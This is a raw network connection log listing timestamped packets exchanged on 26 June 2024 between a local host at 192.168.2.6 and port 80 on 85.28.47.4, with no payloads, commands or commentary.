Jun 26, 2024 08:16:25.343564987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343605042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343612909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343655109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343655109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343686104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343709946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343725920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343761921 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343766928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343939066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343945026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343959093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343975067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344003916 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344006062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344017029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344033957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344042063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344055891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344055891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344079971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344088078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344120979 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344136000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344209909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344218016 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344233990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344242096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344258070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344268084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344283104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344284058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344284058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344296932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344305992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344305992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344315052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344335079 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344362974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344371080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344377041 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344377041 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344420910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344455957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344465017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344472885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344487906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344497919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344505072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344508886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344513893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344525099 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344554901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344577074 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344608068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344616890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344630957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344649076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344656944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344665051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344672918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344688892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344695091 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344695091 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344697952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344707012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344715118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344806910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344809055 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344809055 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344815969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344840050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344847918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344862938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344867945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344871998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344881058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344911098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344911098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.344922066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.344939947 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.345079899 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.357841969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.357861042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.357868910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.357882977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.357956886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.429730892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.429750919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.429757118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.429826975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.429836035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.429868937 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.429913044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.429923058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.429939985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430001020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430051088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430105925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430105925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430140972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430150032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430159092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430166006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430175066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430190086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430207014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430216074 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430216074 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430263042 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430263042 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430300951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430310011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430325985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430332899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430341005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430347919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430370092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430373907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430387974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430397034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430403948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430413008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430427074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430435896 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430435896 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430438042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430447102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430481911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430485964 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430512905 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430545092 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430659056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430668116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430684090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430691957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430699110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430721045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430730104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430732012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430738926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430748940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430754900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430769920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430773973 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430773973 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430778980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430794954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430803061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430819988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430819988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430872917 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.430877924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430885077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430910110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430918932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430932999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430942059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430949926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.430964947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431049109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.431049109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.431049109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.431049109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.431111097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431165934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431174994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431222916 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.431222916 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.431292057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431308031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431318045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431325912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431364059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.431618929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431673050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431694984 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431704998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431720972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431735992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.431775093 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.431787014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431797028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431803942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431812048 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431827068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.431878090 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.431878090 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432097912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432106018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432121038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432137012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432146072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432152033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432159901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432167053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432173967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432182074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432182074 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432193995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432209015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432216883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432224989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432240963 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432240963 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432251930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432260036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432267904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432272911 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432272911 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432275057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432284117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432300091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432308912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432322979 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432323933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432322979 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432378054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432378054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432405949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432415962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432430983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432476044 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432502031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432511091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432526112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432533979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432542086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432549953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432583094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432583094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432648897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432657957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432672977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432691097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432699919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432715893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432723999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.432749987 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432749987 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.432775974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.445318937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.445394039 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.445527077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.445535898 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.445544004 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.445558071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.445565939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.445574045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.445580959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.445586920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.445648909 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.517424107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517433882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517442942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517488003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517496109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517512083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517520905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517545938 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.517580986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517584085 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.517623901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517632008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517656088 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.517683029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.517688990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517698050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517713070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517720938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517771959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.517771959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.517888069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517896891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517920017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517926931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517942905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517945051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.517963886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517972946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.517983913 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518014908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518016100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518023014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518030882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518074036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518083096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518093109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518151999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518162012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518162966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518178940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518196106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518204927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518213034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518213987 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518232107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518270016 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518277884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518285036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518286943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518320084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518337011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518424988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518443108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518457890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518465996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518475056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518490076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518497944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518501997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518531084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518538952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518538952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518543959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518553019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518594027 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518594027 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518640041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518647909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518656015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518662930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518678904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518707991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518709898 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518709898 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518718004 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518734932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518740892 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518744946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518767118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518815994 CEST	80	49713	85.28.47.4	192.168.2.6
